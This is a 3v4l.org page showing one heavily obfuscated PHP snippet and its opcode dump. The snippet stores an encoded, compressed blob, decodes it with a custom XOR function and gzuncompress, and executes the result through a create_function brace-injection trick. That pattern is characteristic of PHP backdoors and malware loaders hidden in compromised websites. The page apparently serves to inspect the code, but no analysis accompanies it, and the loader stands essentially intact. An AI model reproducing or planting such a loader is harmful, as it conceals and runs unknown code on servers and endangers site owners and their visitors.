3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ljbcwxxx=array('$ljbcwxxx[0]=$ljbcwxxx[3];$amxumbuw=amxumbuw(4,13);$ljbcwxxx[0]=$amxumbuw($ljbcwxxx[2]);','$ljbcwxxx[2]=gzuncompress(amxumbuw(695,2151));','UVFVaHlnRmtifnJIRWB7YnZvWH95elp8bHdvd1pualplfn1pdGZzVHN3aGx1eUVFXl1YVEtFXElDU09CVVxMSENNTmVyenxqamNld3F1cXZtYHlqNm9pOFVFbVJpWDU5PipkaWZhYWdFanwsdWxhJig5MDM9LW12I30valVdbmRjaXBidmZWaWN6aUZCZmpmeGF+dGIhcndtdWwsaHhhZWIle3FpbWl5cTFudGR7Z3U8d3h2Y29zTU1qTklDWklLUWJ1bnFoT3JRRmM7OCFrSlZrUUlDWklHT0VYQlNyY3Z9fC4zVW9zZnVnYiFsZmh4YDJrYmZudXFMeHYqc1dTUl9MXVReVENXU3ZkTlJUXFBIU1VFV0hfWEdoUEJLS0FYWV9ETFREeD5YWC5za283dGJmancuY2NpNylsZHhxN3ZpY2FUQ21OLmNjaTcpQ0hTKG9tbnJHY1VaXlNVUkNJUUhsVVpeXVFVS01lLmNjaWhZVm10Z2J2eWNVf3t1RWdueFZPZ01PcHV6fmdpdmcjendpfm54cTV2d2Z2aWVkbXNkeXZnI3p3aX5ueHE1YGZpcW12Z0xnZ3h8en1jVW9/d2NCaC9XTnove2F+RVdhVGN2fXwuM1Vvc2Z1Z2JKQXZJQ1pJR1JZTkRaW0RCRE1LZWNFQmBIWVZjVWcmIHhqYG9lYnB3LXd9RWtiSWJkJSByamJoeDhmdW5Hb2MjIH93dWtnf2Z/LWRldHdnYkcuYH40e2hkbX9iNHNveiZ9PG5iJ3wzWHlFVydjM2lwdyx7K0V2J'.'2EzaEFvWGJifHVHSHlyeGh5Z21vYTBxUnppY3ppIiglWU9vWCdgM39/ZG9tSnJyenZoc3hvcCdgM3ptb2JTZG9rek5LRlMnYDNqcydCX0JVNTIpOnl3bm5nSXh9bSInWmQuVFp5i4NBY2joQwT6MB7DxHvRQO+HwJToGMYkssvOIhtQXjtyfREDHAZ19wK1K9j3s7Lary/9dvkIsbzuR7ytLBVA5nXkHnnlRTC7iPWNxK7RdK5b/Y88upsb/kSPe2KSP2t+DBh8yZ7O0DxzsU5AnyytLjbVbICD6ck5AEBM0R/MnBW1RE5/77AhvY9wA7oN7X/Dex7xrjtaXw3tf13+ymvCoY68uDGtzD7CQ4hyFc9cni+FR6vVPOfebLDBzxPYR89Q8+E86kHQYgigf+OzGc5DvP4r5mwp3yDE2/SQrrVvLngp12xYadEEgLslcsUyktqoyO8VsDbHAupJxme0fC3bu4VrN/EsNbb0yTX/+79PgXOgb69G4P+C1YhYGJ9q7zOPgP3bMc02+YXfA7v6N'.'U25ereEMIgddWCPQTykgctIkk58C+wp/o+DcLlQEZl6nIUGMLy3Jk99RZvGnjAomWE+XvqSiow/NxvUTUVo2HPnptE2wGyQxSWGR/rF1HRECe8CzEkuXKGJKLEijorNNs1G1vbIpmiYbvKD+Z179La3rpbZpzfhU6Rr4y53m9slsjSoYt6RBl3KIEGV3cOM6HDdaFCldaVfI+9dPpGU/KK9NcGpjKxp7+9iD8NkhDAQDhT5fl7GjYnPZLCW4zcN2D2R7izjfAwrOATExzVdRMzTPEsgcMehaYUUkaYlhKQd185t8FDXfukweBgYd8h6F+kM4/FjxGSZPR9Fsx2Jhp5hW+ScvLhwvWb8Amiat9MFb9lVt9erwuy5cNd7qciwCFSbVFpbFRyYfFXyVvKxvc9g5wIS3zY0F70FaDEaZB64vyOn41T6/PITLduVN8lDJAXaHcxzwE5z4ix4cc0Sh3k5B3udxBvtltbcc7gddLzNcBhATuMwGzO1Vni2XzIgqH/FkxCYu0ELyvefMj3P5vvL1xT36SaeSBiSAqEcmLCQtutubnIXWTM+D39M+4nfN85TuZwLrzHNcOpkWwvHwbOGTRIYXo0pLn/ng2ZE6fwxHb1y5lfhWbKsCeiuAnwrYs9SqtqkUYV0k+NPt3CyDJLBR/K9l6+0HjJTKA/0CZbeeYpY1ymINj6pRCUw1hCNa9fwUPaRgeH2nN6BpCy7luWtomvrbYw4lqVP+0Rq+j82ANH0I0t8YL5X5ctILHDtMAvdYpHE2cXKLcVjOS9oCteeNx/R+ZZF2Y5WyHfIAu08QLHEjfTkbjP2/WI64DR/+2k7'.'u5ahQWrpIMJByy7PlAN5wnnr8+/fdzadrOf3gKsyNdULc9PJjhSIoOPhpK7n8nZq0pSywXSgYjsVn8rT3ihoLgotxpg+0q/cpWEXiMUKAej19tOG2loiOuN175tj4Fm6z4baGMQ1Ry2kvMroJgRJI3AClAS1RWqOc6cVQ+EL9T4fdRMU2Ik5P92Xby818QVZVHIN+VeyLsm3qcTwHfU0iMkpBvHJKoTqVpAO8DciImqLA+y8UVZEmfUIlMnAsWWoMi830zVCmKKt3wwfIiXlMCpgk+MIrJp2+z/dJkUrLCTHjDI1P2nuFEtk1OG3b55fxRLjUs5tipBIF19T3xWbipgMTghZOrjRqf+ukL8GNfRop6RTF7K7ODfNp72rSUzaIITjP/PqEGw8swmQeDhcttzI8epu/8hS/+1yJJynoiBFg9gZvTIXab3Gb9ycrb39VulZy7J4pvaqhVP/XOHJraxc9jdUUjLD8NzLJm9D89IPuXN1110LTht6Kwz0E'.'9vgwurtSnsqEsBfIkE19F+wdagy3jgchL3XFN3r07KwYI2Lzf1hB8kY7CxNKccwzL+AQkU4NQSD8nUetRCjA9I8jbWp8ATkJOo/wYEmXZMcHhb3/f67EpB8LQqKsCcNmbx4A3e3FNMJycZgs8QtpDfENzbMLEBVJieUGl8Z2bFFxjDjO/MhPAC4rX89P+gqjpRBV/zfZ/qStjgW7KkXZc0NI8Y7GZfregijyOnprbDFRDiuGe5wccVyr85tknuuyKpB7gwis/XTgakkQwMWCROWNnHTHzhcWVoBeTfGFLZi015WI52GKL76KH+MkxJDui4EiuFf9s5aFY/O9KYG9o9ArhT7LlRL0cMWsYz9CODI6Wvj6Ij6qlon3O18axsyyCctGqFDHlB0DMO53vZyLuZiuohuOvLd984pnE922Y3bfU/T9jOqQiDrR/pwWTVKors2IwXrdCpvkAiWYsb2f4kQLBrI2Rrxv+OOtIY/BfE2pcIRtdeWYS9Uce5/s5Fy7jeMTAzErLfGyAGiOFpikyjzOS9WsnjQvW9awmYTOJpj6bJmpiyX+KwHOsJsUcBlf5Qhx0xtgTWilRfrthpQ09p1cAzXeNwVwGVJGr6XWxT1VeD0dy4G/fj+dB3rCsBbILGA/HuP/'.'NdO/srZr85YhMX+dNZ61qnVhogQ4rDS3xaPM+za5Obe5cTZEyiB5ICjwiOklo/gioXrziILN7ZaBI/P084/9Hpg9PF70jPanOYVFJefUHlWu5yxzPl9Vf7Occbm7vlu6GO999zm++NKJv7cHsbpbEaFjB0ny7crM96ORW1gIgVx3N6HKAttmgS6Of9wcFtskD2A7fRwvsFtRp6UaMzJpw0VjN5QJEF+AlGEN8iuWreDjyZ2erVYrggTaOs6r0i1XvfksewJOgrAtQBSoH9cufmhRdTPwritB5grbo5MQDQnQIJ3RYGoBC2I188TtueTq8g3THL857jCkHp4mYQqDY5cjuTspsAk3dnVhLnqrv7q05wTv8VqehyUTfzfOyF9Xc6MRfU1PeZG9+8S4Z3rO1k2HPhctCQyBNe0m35UpGe7Fo8l92v15BLF1RYHIuX3ml7ihn+f/C/0jCAzd7ztIcbTxPB4a3E=',"/*ri\x63\x76\x7d\x7c\x2e\x33\x55\x6f\x73\x66\x75\x67\x62*/");$cuffhgn='create_';if(function_exists($cuffhgn.='function')&&!function_exists('amxumbuw')){ $cuffhgn('','}function amxumbuw($s,$q){global $ljbcwxxx;$b=$ljbcwxxx;$n=str_pad("",$q,"awnyxgjkvezcgjyh");$a=str_repeat("\x1f",$q);$v=str_repeat("\xe0",$q);$i = substr($b[0],$s,$q);return(($i^$n)&$a)|($i&$v);}{');for($mj=-1;++$mj<3;){$cuffhgn('','}'.$ljbcwxxx[$mj].'{');}};unset($ljbcwxxx);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 7, Position 2 = 12
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 29
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 26
Branch analysis from position: 26
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
Branch analysis from position: 19
Branch analysis from position: 29
Branch analysis from position: 12
filename:       /in/iWCFa
function name:  (null)
number of ops:  31
compiled vars:  !0 = $ljbcwxxx, !1 = $cuffhgn, !2 = $mj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
          1        ASSIGN                                                   !1, 'create_'
          2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ_EX                                          ~7      $6, ->12
          7    >   INIT_FCALL                                               'function_exists'
          8        SEND_VAL                                                 'amxumbuw'
          9        DO_ICALL                                         $8      
         10        BOOL_NOT                                         ~9      $8
         11        BOOL                                             ~7      ~9
         12    > > JMPZ                                                     ~7, ->29
         13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        SEND_VAL_EX                                              '%7Dfunction+amxumbuw%28%24s%2C%24q%29%7Bglobal+%24ljbcwxxx%3B%24b%3D%24ljbcwxxx%3B%24n%3Dstr_pad%28%22%22%2C%24q%2C%22awnyxgjkvezcgjyh%22%29%3B%24a%3Dstr_repeat%28%22%5Cx1f%22%2C%24q%29%3B%24v%3Dstr_repeat%28%22%5Cxe0%22%2C%24q%29%3B%24i+%3D+substr%28%24b%5B0%5D%2C%24s%2C%24q%29%3Breturn%28%28%24i%5E%24n%29%26%24a%29%7C%28%24i%26%24v%29%3B%7D%7B'
         16        DO_FCALL                                      0          
         17        ASSIGN                                                   !2, -1
         18      > JMP                                                      ->26
         19    >   INIT_DYNAMIC_CALL                                        !1
         20        SEND_VAL_EX                                              ''
         21        FETCH_DIM_R                                      ~12     !0, !2
         22        CONCAT                                           ~13     '%7D', ~12
         23        CONCAT                                           ~14     ~13, '%7B'
         24        SEND_VAL_EX                                              ~14
         25        DO_FCALL                                      0          
         26    >   PRE_INC                                          ~16     !2
         27        IS_SMALLER                                               ~16, 3
         28      > JMPNZ                                                    ~17, ->19
         29    >   UNSET_CV                                                 !0
         30      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
176.51 ms | 1401 KiB | 15 Q